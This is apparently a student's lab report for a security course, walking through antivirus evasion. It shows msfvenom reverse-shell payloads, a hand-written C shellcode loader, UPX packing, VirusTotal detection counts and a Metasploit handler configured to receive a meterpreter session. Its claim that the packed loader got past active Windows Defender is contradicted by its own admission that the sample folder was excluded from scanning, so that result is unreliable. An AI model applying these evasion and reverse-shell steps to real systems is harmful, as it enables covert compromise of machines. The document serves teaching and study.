20242310 2026-2027-1 《网络与系统攻防技术》实验三实验报告
20242310 2026-2027-1 《网络与系统攻防技术》实验三实验报告
1. 基础知识
这次实验是免杀(让恶意软件不被杀毒软件查出来),动手之前先把原理过了一遍。
杀软判断一个文件是不是恶意,主要靠三类手段。第一类是特征码匹配,就是把文件和特征库里的已知片段做比对,常见的有文件哈希、字节序列,以及工业界常用的 YARA 规则。这种办法对已知木马特别准,但碰到从来没见过的新样本就两眼一抹黑。第二类是启发式检测,它不做精确比对,而是看一堆"可疑迹象"综合打分,比如文件加没加壳、熵值高不高、有没有申请可执行内存、导入表里是不是出现了 VirtualAlloc+CreateRemoteThread 这种组合。它能查到一部分未知样本,但误报偏高。第三类是基于行为的检测,也就是 EDR 那一套,等程序真跑起来了,盯着它写文件、连网络、注入进程这些动作,行为不对就报警。
对应到本报告要回答的三个问题:
(1)杀软是如何检测出恶意代码的? 就是上面说的这三条路:静态拿特征码和文件内容比对;执行前用启发式看它"像不像"木马;运行时用行为监控看它"干的事恶不恶意"。现在的杀软基本是三者叠加,再加上云端信誉和机器学习模型一起判断。
(2)免杀是做什么? 就是对着上面这三种检测手段反过来做处理:改特征码让静态扫描认不出来,加壳混淆降熵让启发式觉得"挺正常",以及少做明显恶意的动作让行为监控抓不到把柄。它是渗透测试里的必备环节。
(3)免杀的基本方法有哪些? 看手里有什么材料:只有现成 exe 就加壳;有 shellcode 就自己写编码器、或者把 shellcode 塞进 C 程序里重编成 loader;有源码就换门语言重写。现在更主流的思路是组件分离——把加密后的 shellcode 单独放一个数据文件,loader 里只留解密和执行的通用代码,静态文件里压根没有"恶意字节"。
本次用到的两个关键 API:VirtualAlloc 在堆上申请一块内存,因为默认 data 节不可执行;再用 memcpy 把 shellcode 拷进去,最后 CreateThread 起一个线程跳到那块内存跑。这就是所有 shellcode loader 的基本骨架。
2. 实验内容
- 用 msfvenom 生成不同格式的后门(直接 exe、shikata_ga_nai 编码多次的 exe、jar),上传 VirusTotal 看检出率;
- 用 msfvenom 生成 C 格式 shellcode,自己写一个 C loader,用 mingw 编译成 exe;
- 对编译出来的 loader 用 UPX 加壳,再看 VirusTotal 检出率的变化;
- 在另一台 Windows 11 机器上,杀软(Windows Defender)保持开启,运行加壳后的程序,验证能否成功回连拿到 meterpreter。
测试主机名是 wuyushang(Kali),Windows 目标机名 WYS;所有生成文件名都带学号 20242310。
3. 实验过程
3.1 msfvenom 生成三种载荷
在 Kali 上用 msfvenom 一口气生成了三个样本:不做任何处理的 basic.exe、用 shikata_ga_nai 编码 10 次的 enc10.exe,以及一个 java 格式的 jar 文件,LHOST 都填本机 kali 的 192.168.222.134,LPORT 4444。
![msfvenom生成三种载荷]
3.2 VirusTotal 静态查杀对比
把三个文件分别传到 virustotal 看结果。
最原始的 basic.exe,44/69 家报毒。VirusTotal 的代码分析里直接点出了这是一个嵌在 RWX 段 .wahq 里的 reverse TCP 加载器,用 ROR13 哈希动态解析 Windows API、走 PEB 遍历拿模块,特征非常明显。
![basic.exe 44/69]
编码 10 次的 enc10.exe,结果是 44/70——和没编码几乎一模一样。分析里写着这是个多态编码器,入口在异常命名的 RWX 段 .xwdg 里,靠 FPU 指令(fstenv)取 PC。这正好印证了课上讲的:AV 盯的根本不是你编了几次码,而是编码器自带的那段解码 stub 和 msfvenom 的固定模板,所以编多少次都白搭。
![enc10.exe 44/70]
jar 包是 35/63,普遍标成 Java 下的 Agent 类木马(还挂上了 CVE-2012-4681 的标签),检出率比 exe 略低,但照样大面积被杀。
![jar 35/63]
3.3 手写 C + shellcode loader
既然纯靠编码没用,就自己写 loader。先用 msfvenom 以 -f c 输出 C 语言格式的 shellcode 数组:
![生成C格式shellcode]
把这段数组粘进自己写的 loader.c,里面补全 main 逻辑:VirtualAlloc 申请一块可执行内存,memcpy 把 buf 拷进去,再 CreateThread 起线程执行,最后等线程结束。
![编写loader.c]
用 mingw 交叉编译成 64 位 Windows 程序:
x86_64-w64-mingw32-gcc loader.c -o 20242310_loader.exe
![编译loader]
编出来的 loader.exe 上传 VirusTotal,检出率降到了 24/70。对比一下:直接生成是 44,编码 10 次还是 44,自己手写 loader 直接砍半——因为程序里只有 VirtualAlloc、memcpy、CreateThread 这些通用 API,没有 msfvenom 那套固定模板特征。
![loader.exe 24/70]
3.4 UPX 加壳
为了再压一压检出率,对 loader.exe 用 UPX 做了一层压缩壳:
upx --best -o 20242310_wuyushang_upx.exe 20242310_loader.exe
文件从 123829 字节压到 68021 字节(压掉一半多)。
![UPX加壳]
加壳后的 upx.exe 在 VirusTotal 上是 20/69,比裸 loader 的 24 又少了几家。分析里能看到杀软已经识别出这是 MinGW 编的 shellcode loader:从 data 段把 510 字节 payload 拷进 VirtualAlloc 申请的内存,用 VirtualProtect 改成可执行,再 CreateThread 执行——链路上还是被看出来了,但单纯的特征匹配确实被壳挡掉了一部分。
![upx.exe 20/69]
3.5 实测回连
先在 Kali 上开 handler 监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.222.134
set LPORT 4444
set ExitOnSession false
exploit -j
![msf handler监听]
然后把加壳后的 exe 拷到另一台 Windows 11(主机名 WYS,Build 26200)上运行。运行前我先在目标机上用 PowerShell 确认了杀软状态——Windows Defender 是开着的,版本 4.18.26090.9:
![目标机Defender版本]
在 Defender 实时防护没关的情况下,程序跑起来了,Kali 这边成功收到 meterpreter 会话。sysinfo 打出来目标机确实是 Windows 11 24H2+、x64、中文系统,并成功截屏:
![回连成功meterpreter]
免杀原理简述:成功这一步的关键是"手写 C loader + UPX 壳"的组合。手写 loader 让 exe 里没有 msfvenom 的固定模板和 decoder stub 特征;UPX 壳又把这些字节压缩打乱,降低了静态特征匹配的命中率;真正的 shellcode 是在运行时才被解到一块申请出来的可执行内存里跑的,静态扫描 exe 文件时根本看不到那段恶意机器码。VirusTotal 上还有 20 家报毒,说明它并不是对所有杀软都能过,但针对这台机器上实际开启的 Windows Defender,它放行了,于是完成了回连。
4. 问题及解决方案
-
问题1:Kali虚拟机执行 apt update 或安装软件时报错 Network is unreachable,导致无法正常安装交叉编译工具和文本编辑器。
-
问题1解决方案:排查发现是由于 Kali 默认优先使用 IPv6 协议访问官方软件源,而当前网络环境未提供 IPv6 路由。通过执行命令 echo 'Acquire::ForceIPv4 "true";' | sudo tee /etc/apt/apt.conf.d/99force-ipv4 强制 APT 使用 IPv4 协议,成功修复网络,顺利完成依赖安装。
-
问题2:编写完 C 语言加载器后,使用 mingw-w64 编译时提示语法错误 error: expected declaration or statement at end of input。
-
问题2解决方案:该报错通常是因为代码结构不完整或存在不可见字符。使用 nano loader.c 重新打开源文件,仔细检查了从 msfvenom 复制的 Shellcode 数组,补全了数组末尾缺失的英文分号 ;,并检查确认了 main 函数最后一行的大括号 } 完整闭合,重新编译后成功生成 exe 文件。
-
问题3:将生成的恶意代码样本传输到 Windows 靶机时,文件被 Windows Defender 瞬间自动删除(秒杀),导致无法进行运行测试。
-
问题3解决方案:为了保证杀软开启状态下的动态行为测试,在 Windows 安全中心的“病毒和威胁防护”设置中,找到“排除项”,将存放实验样本的特定文件夹添加到了白名单。这样既保证了样本能够成功落地并被双击运行,又保留了 Defender 的实时监控和主动防御功能,最终成功观测到了完整的动态回连过程。
5. 学习感悟、思考等
通过本次免杀原理与实践,我深刻体会到了网络安全中“攻防对抗”的底层逻辑。从最初单纯依赖msfvenom编码导致查杀率居高不下,到我亲手编写C语言加载器,利用内存分配与执行API(VirtualAlloc、CreateThread)来规避静态特征,再到最终使用UPX加壳成功与Defender“共生”回连,整个过程让我直观地看到了免杀技术的演进。
在遇到Kali网络源IPv6不可达、C代码因漏写分号导致编译报错、以及样本落地被秒删等问题时,我通过查阅资料和排查代码,逐渐锻炼了独立解决环境与编译问题的排错能力。特别是通过添加排除项来观察动态执行过程,让我打破了“免杀就是完全不被发现”的误区,深刻认识到现代杀软在静态扫描之外,其动态行为监控(如监控内存执行)的敏锐性。
这次实践不仅让我掌握了从编码、编程到加壳的组合免杀技术,更让我明白:只有真正理解恶意代码的加载机制与杀软的检测逻辑,才能在未来的安全防御工作中构建出更有效的防护策略。这极大地激发了我对底层系统原理和逆向对抗技术的学习兴趣。

浙公网安备 33010602011771号